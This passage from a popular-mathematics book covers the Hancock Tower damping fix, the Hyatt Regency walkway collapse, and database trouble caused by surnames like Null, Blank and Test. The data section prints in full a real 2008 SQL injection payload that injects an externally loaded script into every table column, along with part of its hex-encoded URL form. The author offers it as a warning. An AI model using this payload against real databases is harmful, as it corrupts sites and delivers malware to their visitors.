by Matt Parker
The sixty-storey John Hancock Tower was built in Boston in the 1970s and it was discovered to have an unexpected torsional instability. The interplay of the wind between the surrounding buildings and the tower itself was causing it to twist. Despite being designed in line with current building codes, torsional instability found a way to twist the building and people on the top floors started feeling seasick. Once again, it was tuned mass dampers to the rescue! Lumps of lead weighing 300 tonnes were put in vats of oil on opposite ends of the fifty-eighth floor. Attached to the building by springs, they act to damp any twisting motion and keep the movement below noticeable levels.
Now officially named 200 Clarendon Street, the building stands to this day. Apparently, building codes (and the building) were strengthened after the building-twisting incident. But I have been unable to find any evidence as to whether the building is now also rated to withstand Snap’s ‘The Power’.
Walking on uncertain ground
This slow advance of mathematics and engineering knowledge has been going on for centuries and humans are now capable of building some truly amazing structures. After each failure, engineering codes and best practices develop and evolve so that we can learn from what went wrong. At the same time, our mathematical knowledge is growing and placing even more theoretical tools at the engineers’ disposal. The only down side is that mathematics and experience now allow humans to build structures beyond what our intuition can comprehend.
Imagine showing an engineer from the time of the Industrial Revolution a modern skyscraper 828 metres tall (over half a mile!) or the 108-metre-wide, 420-tonne International Space Station in orbit around the Earth. They would think it was magic. But if we did bring Robert Stephenson back from the 1800s and showed him a skyscraper but also gave him a course in computer-aided structural engineering design, he would get his head around it pretty quickly. Engineering is easy if you know the maths.
In 1980 a walkway was built in Kansas City for the Hyatt Regency Hotel. Intricate calculations had been performed so that the walkway would appear to float in the air, supported by a few slender metal rods at second-storey level above the hotel’s lobby. Without mathematics, this would be too dangerous: someone would just have to guess how small the supports could be and still safely hold pedestrians off the ground. But thanks to the certainty of mathematics, the engineers would know the supports would work before even a single bolt had been put in place.
This is the difference between how maths and humans go about things. The human brain is an amazing calculation device, but we have evolved to make judgement calls and to estimate outcomes. We are approximation machines. Maths, however, can get straight to the correct answer. It can tease out the exact point where things flip from being right to being wrong; from being correct to being incorrect; from being safe to being disastrous.
You can get a sense of what I mean by looking at nineteenth- and early-twentieth-century structures. They are built from massive stone blocks and gigantic steel beams riddled with rivets. Everything is over-engineered, to the point where a human can look at it and feel instinctively sure that it’s safe. The Sydney Harbour Bridge (1932, pictured opposite) is almost more rivet than steel beam. With modern mathematics, however, we can now skate much closer to the edge of safety.
Yep, that’s not going anywhere.
At the Kansas Hyatt, though, it all went wrong. It was a costly reminder of the risks of building structures beyond what our brains can do intuitively. During construction, a seemingly innocuous change was made to the design and the engineers did not properly redo the calculations. No one noticed that the change would fundamentally alter the underlying mathematics. And it pushed the walkway over the edge.
The modification seemed like a good idea. The walkway had two levels, on the second and fourth floors of the hotel. The design called for long, slender metal rods to be attached from above, and for both levels of the walkway to be suspended from them: one attached part way down the rods, the other at the bottom. Nuts were placed on the rods, which then had box beams (hollow rectangular metal beams) put on them. When it came to the actual building, the length of the rods made things tricky: the upper walkway’s nuts would have to be moved all the way along what were effectively super-long bolts. And as anyone who has put together flat-pack furniture can attest, even winding a nut along a bolt a few centimetres long can be tedious.
A simple solution was found: slice the rods in half and have shorter rods from the top down to the upper walkway, and shorter second rods from the upper walkway to the lower one. The set-up seems to be identical to what had been planned before, except that now all the nuts sat at the end of a rod, within easy winding distance. Satisfied with this tweak of convenience, the construction team built the walkway and soon people were using it to rush happily about the hotel.
The proposed walkway design. The second- and fourth-floor walkways which collapsed are suspended together on the right.
Then, on 17 July 1981, while a crowd of people were using the walkways as viewing platforms, the bolts tore through the supporting box beams – and over a hundred people died.
This is a sobering reminder of how easy it can be to make a mathematical mistake and for it to have dramatic consequences. Here, the design had been changed – but the calculations had not been redone.
In the original design, each nut had to support the walkway directly above it and any people on that walkway. The subtle change no one had noticed was that, with the modification, the bottom walkway was now directly suspended from the top walkway. So, as well as supporting its own weight and the people on it, this top walkway also had the bottom walkway hanging from it. The nuts which previously had to hold only the top walkway were now holding up the entire structure.
In the ‘Investigation of the Kansas City Hyatt Regency Walkways Collapse’, it was discovered that even the original design did not meet the requirements of the Kansas City Building Code. Tests revealed that the box beams resting on the nuts would be able to hold only 9,280 kilograms of mass each, while the building code required each join to be able to hold 15,400 kilograms. Now, this maximum load is deliberately overkill so that it’s guaranteed the walkway will never be loaded to its limit. So even if the walkway was built to withstand only 60 per cent of the required maximum in the code, there is a chance it would never be subject to forces strong enough to break it.
The box beam after the supporting nut and rod had been ripped out.
At the time of the collapse, each nut on the box beams of the lower walkway was holding 5,200 kilograms. Which means that, even though they were not as strong as the code specified, they could still hold the crowd which had gathered. In the original design with the continuous rods, the bolts on the upper walkways would be under a similar load and would also have survived. So, if the walkway had been built to the original design, there is a chance no one would have ever noticed it wasn’t up to code.
But because of the alteration in the design the upper-walkway bolts were under about twice that load, estimated to have been 9,690 kilograms per bolt. This was more than the box beams could handle, so one of the bolts in the middle was ripped out. This meant that the remaining bolts were each bearing even more load, so they all failed in quick succession, causing the walkway to collapse.
This was an unfortunate situation, in which not only were the initial calculations not done to the correct standards, but also the maths required was later changed and no one rechecked it. Either error on its own might not have resulted in disaster. Both mistakes together resulted in the deaths of 114 people.
There are a lot of benefits to letting maths take us beyond our intuition, but it’s certainly not without some risks. The vast majority of the time, people cross bridges and walk across walkways blissfully unaware of how much engineering has gone into making it possible. We only really notice when it goes wrong.
THREE
Little Data
In the mid-1990s a new employee of Sun Microsystems in Ca
lifornia kept disappearing from their database. Every time his details were entered, the system seemed to eat him whole; he would disappear without a trace. No one in HR could work out why poor Steve Null was database kryptonite.
The staff in HR were entering the surname as ‘Null’, but they were blissfully unaware that, in a database, NULL represents a lack of data, so Steve became a non-entry. To computers, his name was Steve Zero or Steve McDoesNotExist. Apparently, it took a while to work out what was going on, as HR would happily re-enter his details each time the issue was raised, never stopping to consider why the database was routinely removing him.
Since the 1990s databases have become more sophisticated, but the problem persists. Null is still a legitimate surname and computer code still uses NULL to mean a lack of data. A modern variation on the problem is that a company database will accept an employee with the name Null, but then there is no way to search for them. If you look for people with the name Null, it claims there are, well, null of them.
Because computers use NULL to represent a lack of data, you’ll occasionally see it appear when a computer system somewhere has made a mistake and not retrieved the data it needs.
I searched my inbox and found a few emails addressed to null and one asking about my TomTom $NULL$ device. But the holy grail is the ‘hot singles near null’ pop-up ads.
I can see how this happens. Checking if a data entry is equal to NULL is a handy step in programming. I wrote a program to maintain a spreadsheet of all my YouTube videos. Whenever it has to enter new videos it needs to find out where the next blank row is. So the program initially sets active_row = 1 to start at the top row and runs this piece of code (I’ve tidied it up slightly to make it more human-readable).
while data(row = active_row, column=1) != NULL:
active_row = active_row + 1
In a lot of computer languages != means ‘not equal to’. So, for each row, it checks if the data in the first cell is not equal to null. If it’s not equal to null, it adds 1 to the row and keeps going until the first blank row. If my spreadsheet had rows starting with people’s surnames, then Steve Null could have broken my code (depends how clever the programming language is). Modern employee databases can go wrong during searches because they check search_term != NULL before proceeding.fn1 This is to catch all the times people hit Search without entering anything to search for. But it also stopped any searches for people named Null.
Other legitimate names can also be filtered out by well-meaning database rules. A friend of mine worked on a database for a large financial company in the UK, and it would only allow names with three or more letters in order to filter out incomplete entries. Which was fine, until the company expanded and started employing people from other countries, including China, where two-character names are perfectly normal. The solution was to assign such employees longer, anglicized names that fit the database criteria – which feels far from satisfactory.
Big data is all very exciting, and there are all sorts of amazing breakthroughs and findings coming out to aid in analysing massive datasets – as well as a whole new field of mathematical mistakes (which we will deal with later). But before you can crunch your big data, you need to collect and store it in the first place. I call this ‘little data’: looking at data one piece at a time. As Steve Null and his relatives show us, recording data is not as easy as we’d hoped.
Carrying on in the same vein as Steve Null, I’d like you to meet Brian Test, Avery Blank and Jeff Sample. The Null problem can be fixed by encoding names in a format for only character data, so that it doesn’t get confused with the data value of NULL. But Avery Blank has a bigger problem: humans.
When Avery Blank was at law school she had difficulty getting an internship because her applications were not taken seriously. People would see ‘Blank’ in the surname field and assume it was an incomplete application. She always had to get in touch and convince the selection committee that she was a real human.
Brian Test and Jeff Sample fell foul of the same problem, but for slightly different reasons. When you set up a new database, or a way to input data, it’s good practice to test it and make sure it’s all working. So you feed through some dummy data to check the pipeline. I run a lot of projects with schools, and they often sign up online. I’ve just opened my most recent such database and scrolled to the top. The first entry is from a Ms Teacher who works at Test High School on Test Road in the county of Fakenham. She’s probably a relation of Mr Teacher from St Fakington’s Grammar School, who seems to sign up for everything I do.
To avoid being deleted as unwanted test data, when Brian Test started a new job, he brought in a cake for all his new colleagues to enjoy. Printed on the cake was a picture of his face, with the following words written in icing: ‘I’m Brian Test and I’m real.’ Like a lot of office problems, the issue was solved with free cake, and he was not deleted again.
It’s not just humans who are deleting people like Brian Test; often it is automated systems. People enter fake data into databases all the time, so database administrators set up automated systems to try to weed them out. An email address like [email protected] (belonging to real human Christopher Null) is often auto-blocked to cut back on spam. Recently, a friend of mine could not sign an online petition because his email address has a + sign in it: a valid character, but one often used to mass-generate email addresses and to spam online polls. So he was locked out.
So, when it comes to names, if you inherit a database-killing last name, you can either wear it as a badge of honour or take some deed-poll action. But if you are a parent, please don’t give your child a first name which will set them up for a lifetime of battling computers. And given that over three hundred children in the USA since 1990 have been named Abcde, it’s worth spelling this out: don’t name your child anything like Fake, Null or DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC('update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=3e4df16498a2f57dd732d5bbc0ecabf881a47030952a.9e0a847cbda6c8</script>'''); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor;
That last one is not even a joke. It looks like I fell asleep on my keyboard but it is actually a fully functional computer program that will scan through a database without needing to know how it is arranged. It will simply hunt down all the entries in the database and make them available to whoever managed to sneak that code into the database in the first place. It’s yet another example of online humans being jerks.
Typing it in as someone’s name is not a joke either. This is known as an SQL injection attack (named after the popular database system SQL; sometimes pronounced like ‘sequel’). It involves entering malicious code via the URL of an online form and hoping whoever is in charge of the database has not put enough precautions in place. It’s a way to hack and steal someone else’s data. But it relies on the database running the code you’ve managed to sneak in. It may seem ridiculous that a database would process incoming malicious code, but without the ability to run code a modern database would lose its functionality. It’s a balancing act to keep a database secure but able to support advanced features which require running code.
Just to be completely clear: that is real code in my example. Do not type that into a database. It will mess things up. That very code was used in 2008 to attack the UK government and the United Nations – except some of it had been converted into hexadecimal values to slip by security systems looking for incoming code. Once in the database, it would unzip back into computer code, find the database entries then phone home to download additional malicious programs.
This is it when it was camouflaged:
script.asp?var=random';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028 … [another 1,920 digits]
004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
Sneaky, huh? From unfortunate names to malicious attacks, running a database is difficult. And that’s even before you have to deal with any legitimate data-entry mistakes.
When good data turns bad
In Los Angeles there is a block of land on the corner of West 1st Street and South Spring Street which houses the offices of the LA Times. It is just down the street from City Hall and directly over the road from the LA Police Department. There may be some rough areas of LA best avoided by tourists, but this is certainly not one of them. The area looks as safe as safe can be … until you check the LAPD’s online map of reported crime locations. Between October 2008 and March 2009 there were 1,380 crimes on that block. That’s around 4 per cent of all crimes marked on the map.
When the LA Times noticed this, it politely asked the LAPD what was going on. The culprit was the way data was encoded before going into the mapping database. All reported crimes have a location recorded, often handwritten, and this is automatically geocoded by computer to latitude and longitude. If the computer is unable to work out the location, it simply logs the default location for Los Angeles: the front doorstep of the LAPD headquarters.